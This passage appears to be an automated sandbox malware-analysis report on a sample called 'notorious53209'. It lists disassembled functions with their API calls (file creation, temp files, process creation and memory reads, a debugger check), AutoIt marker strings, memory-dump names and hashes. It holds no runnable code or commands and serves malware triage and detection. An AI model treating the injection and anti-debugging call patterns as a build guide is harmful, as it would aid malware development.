__flush.LIBCMT ref: 002549F0
__write.LIBCMT ref: 00254A23
__flsbuf.LIBCMT ref: 00254A51

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction ID: 84967f15a4e79eaf382f1e3cfee8cf7fd5182e2f618ed1ab761261136838a380
Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction Fuzzy Hash: FF41E8346206069BDF28EE69C8919AFF7A5EF8036AB14813DEC55C7640D7709DE88B4C

Function 00234DD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00234E1A

Strings

AU3!P/,, xrefs: 00234E14
EA06, xrefs: 0026DCF5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/,$EA06
API String ID: 4104443479-707197413
Opcode ID: 943ac5cdc7e133950589c867b0245f1c7fe8de93d27ffbc0833e1542dd1e888e
Instruction ID: fdb96970cb8ad38f839e2d45f47cfa2725d031526e10c8dcc67c9795f23068ef
Opcode Fuzzy Hash: 943ac5cdc7e133950589c867b0245f1c7fe8de93d27ffbc0833e1542dd1e888e
Instruction Fuzzy Hash: 6F415DE1A341685BDF11BF64C8517BE7FA5AB05300F5840F5EC869B282C561ADA48BE1

Function 002373E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0026EE62
75B0A2D5.COMDLG32(?), ref: 0026EEAC

Part of subcall function 002348AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002348A1,?,?,002337C0,?), ref: 002348CE

Part of subcall function 002509D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002509F4

Strings

X, xrefs: 0026EE7A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: NamePath$FullLong_memset
String ID: X
API String ID: 3051022977-3081909835
Opcode ID: 1e26581c6674a2afab48cc533d9697c63357b97c931305c02ce8b1927d1081a6
Instruction ID: 6ffa09b08c8e3b8b8fb90ec838e669ef9b2bb2b6a7907c80f0bea145ba223c08
Opcode Fuzzy Hash: 1e26581c6674a2afab48cc533d9697c63357b97c931305c02ce8b1927d1081a6
Instruction Fuzzy Hash: AD21C3B1A202989BCF11DF94CC45BEE7BF89F49314F04405AE808E7281DBF459A98FA1

Function 0029901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00299036
__fread_nolock.LIBCMT ref: 0029904B

Strings

EA06, xrefs: 0029907D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 2bfe284a15f85007d90672f9bd9b29ed91174e7b42d7cd5d8df1db36ddb0be8f
Instruction ID: 3e32d433e439213c0c2a4019a3aa1a4fbfe075bb8b0d6a59e117d47d6b84f905
Opcode Fuzzy Hash: 2bfe284a15f85007d90672f9bd9b29ed91174e7b42d7cd5d8df1db36ddb0be8f
Instruction Fuzzy Hash: 7701F9718142587EDB28CAA8C81AFFE7BF89B01311F00419EF552D6181E5B5A6288B60

Function 00250FF6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0025594C: __FF_MSGBANNER.LIBCMT ref: 00255963
Part of subcall function 0025594C: __NMSG_WRITE.LIBCMT ref: 0025596A
Part of subcall function 0025594C: RtlAllocateHeap.NTDLL(00B70000,00000000,00000001), ref: 0025598F

std::exception::exception.LIBCMT ref: 0025102C
__CxxThrowException@8.LIBCMT ref: 00251041

Part of subcall function 002587DB: RaiseException.KERNEL32(?,?,00000000,002EBAF8,?,00000001,?,?,?,00251046,00000000,002EBAF8,00239FEC,00000001), ref: 00258830

Strings

bad allocation, xrefs: 00251021

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: bad allocation
API String ID: 3902256705-2104205924
Opcode ID: b60b12a0e0000275dc16b9c0c16cb93d359827a7f08a5d57ed556f734c279c83
Instruction ID: 1baf7db35d9df7a8c1d288af89f0348db512c71a12c14fd2a2f78a3f9762b2c5
Opcode Fuzzy Hash: b60b12a0e0000275dc16b9c0c16cb93d359827a7f08a5d57ed556f734c279c83
Instruction Fuzzy Hash: 34F0F935520219A6CB21BE54DC05ADF77AC9F00352F100425FC04A5581EFB18ABCC6D8

Function 00299B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00299B82
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00299B99

Strings

aut, xrefs: 00299B93

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 74224ecf4708e5557c2971050e0f71dd1ce70e56e1f78ababea25536a4eb7854
Instruction ID: 8b539a17975aa9920703b0a94d53c2f9e748813e3c557319bed653e15d197eb1
Opcode Fuzzy Hash: 74224ecf4708e5557c2971050e0f71dd1ce70e56e1f78ababea25536a4eb7854
Instruction Fuzzy Hash: 56D05E7958030DABDB609B94EC0EF9A772CEB04700F0042A1BF54911A2DEB065A88B91

Function 001612A0 Relevance: 5.2, APIs: 3, Instructions: 720processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 00161ACD
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00161B13

Memory Dump Source

Source File: 0000000A.00000002.395533851.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_160000_notorious53209.jbxd

Similarity

API ID: Process$CreateMemoryRead
String ID:
API String ID: 2726527582-0
Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction ID: 4ee016f59682c73bf0379f2a719783ad87c8b065bbd803a0ad4629883cbcce57
Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction Fuzzy Hash: 10620930A14658DBEB24CFA4CC50BDEB372EF58300F1491A9D50DEB2A0E7769E91CB59

Function 002ACDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30203c71eadfae350f204af4728fce70361e5efb814771fde5ffe83f0dedb1c5
Instruction ID: cfa946417d40ff4114a0d5cf2130f78c25ca1fb8174c2ce0fb9e377c5d33cc5e
Opcode Fuzzy Hash: 30203c71eadfae350f204af4728fce70361e5efb814771fde5ffe83f0dedb1c5
Instruction Fuzzy Hash: 7FF15C705183019FCB14DF28C484A6ABBE5FF89314F14892EF89A9B352DB71E955CF82

Function 002343DB Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00234401
Shell_NotifyIconW.SHELL32(00000000,?), ref: 002344A6
Shell_NotifyIconW.SHELL32(00000001,?), ref: 002344C3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 9c41d1b49ccf53a0035ebfda6df4ea5f09322474ddba43c15fde8f3350aa604d
Instruction ID: 04ccefee51aaf08cbc7e156ed1ae6739929e5de343825875759252dbba2bf3e4
Opcode Fuzzy Hash: 9c41d1b49ccf53a0035ebfda6df4ea5f09322474ddba43c15fde8f3350aa604d
Instruction Fuzzy Hash: A23152B05147019FD721EF24E8886A7BBF8FB48354F00097EEA9A83251D775A954CB52

Function 0025594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00255963

Part of subcall function 0025A3AB: __NMSG_WRITE.LIBCMT ref: 0025A3D2
Part of subcall function 0025A3AB: __NMSG_WRITE.LIBCMT ref: 0025A3DC

__NMSG_WRITE.LIBCMT ref: 0025596A

Part of subcall function 0025A408: GetModuleFileNameW.KERNEL32(00000000,002F43BA,00000104,00000000,00000001,00000000), ref: 0025A49A
Part of subcall function 0025A408: ___crtMessageBoxW.LIBCMT ref: 0025A548

Part of subcall function 002532DF: ___crtCorExitProcess.LIBCMT ref: 002532E5
Part of subcall function 002532DF: ExitProcess.KERNEL32 ref: 002532EE

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

RtlAllocateHeap.NTDLL(00B70000,00000000,00000001), ref: 0025598F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 454e50ed8f36f5785ee744179548a05b7b6a62b45545df238b83054353058287
Instruction ID: 791647771068444ed23d50b902fa5451aff0d420f6afc1611180b6d5f65f2c29
Opcode Fuzzy Hash: 454e50ed8f36f5785ee744179548a05b7b6a62b45545df238b83054353058287
Instruction Fuzzy Hash: 62012631231A22DED6107B39EC6262E33988F41773F100136FC01AA181DEB89C298AAC

Function 00299B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000), ref: 00299B45
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,002997D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00299B5B
CloseHandle.KERNEL32(00000000), ref: 00299B62

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 3e8c52e807a479c02387466c2c5199755cbb396656c4316fd989e4617e3fead5
Instruction ID: 68c85971d41f9a4a85c24e44d7e39fa9cd2d04f1e3131b476b51f697801cf2c7
Opcode Fuzzy Hash: 3e8c52e807a479c02387466c2c5199755cbb396656c4316fd989e4617e3fead5
Instruction Fuzzy Hash: A7E08632180214B7EB211F58FC0DFCA7B58AB05775F144220FB14790E087B125219798

Function 00298F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00298FA5

Part of subcall function 00252F95: HeapFree.KERNEL32(00000000,00000000), ref: 00252FA9
Part of subcall function 00252F95: GetLastError.KERNEL32(00000000,?,00259C64), ref: 00252FBB

_free.LIBCMT ref: 00298FB6
_free.LIBCMT ref: 00298FC8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: efa5cfa9b1b2f41bce9affd07bef402890ef9bb67adc050918c04926c1923072
Instruction ID: 73ce40c2d48fed63e78f051648c763e7c9cdf570881db60374399e96addcebda
Opcode Fuzzy Hash: efa5cfa9b1b2f41bce9affd07bef402890ef9bb67adc050918c04926c1923072
Instruction Fuzzy Hash: 9DE0C2A12287028ACE20A938BD00A8317EE0F4A311B0C080DB809EB982DE34E8688428

Function 0023AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0027002B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: a20147099094685f8c90798fbc55b50ad754792fa83b50e281629fed10f22527
Instruction ID: 60c9736172d191fa785aad024fe94f14d129ff778250916a0bb8cbd1fb214b4e
Opcode Fuzzy Hash: a20147099094685f8c90798fbc55b50ad754792fa83b50e281629fed10f22527
Instruction Fuzzy Hash: 7F2249B0528351CFCB29DF14C495B2AB7E1BF45304F14896DE98A8B262D771ECA5CF82

Function 0023492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

73666F36.UXTHEME ref: 00234992

Part of subcall function 002535AC: __lock.LIBCMT ref: 002535B2
Part of subcall function 002535AC: RtlDecodePointer.NTDLL(00000001), ref: 002535BE
Part of subcall function 002535AC: RtlEncodePointer.NTDLL(?), ref: 002535C9

Part of subcall function 00234A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00234A73
Part of subcall function 00234A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00234A88

Part of subcall function 00233B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00233B7A
Part of subcall function 00233B4C: IsDebuggerPresent.KERNEL32 ref: 00233B8C
Part of subcall function 00233B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,002F62F8,002F62E0,?,?), ref: 00233BFD
Part of subcall function 00233B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00233C81

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 002349D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$73666DebuggerDecodeEncodeFullNamePathPresent__lock
String ID:
API String ID: 1649018686-0
Opcode ID: ba51aac36190b1b10c1aa9f4573d69d9599ae9fb831e933b8fa8f244fb5a0e8b
Instruction ID: 97fea1189aa1b85d75bb2072593fb8da0ffb2ffc8c7431a4046a0bdc5df9a5f5
Opcode Fuzzy Hash: ba51aac36190b1b10c1aa9f4573d69d9599ae9fb831e933b8fa8f244fb5a0e8b
Instruction Fuzzy Hash: 791190B19243159BC300EF28EC0991AFFF8EB95760F10462EF485872B1DBB09564CF95

Function 00235DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00235E27
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000), ref: 0026E19C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8bed589d16010ea8e2afdc84258c17bd0d9dc3438cba867d17aa172f22684cc2
Instruction ID: d21b5f648510f082c6c8a998c320b2a2fe6ed999237a52249d5a6cb4dad022bb
Opcode Fuzzy Hash: 8bed589d16010ea8e2afdc84258c17bd0d9dc3438cba867d17aa172f22684cc2
Instruction Fuzzy Hash: 5601F9B0250319BEF7240E18CC8AF62379CEB01768F108314BAED6A1D0C6B05D559F10

Function 0025582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0025585C
__lock_file.LIBCMT ref: 0025587D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

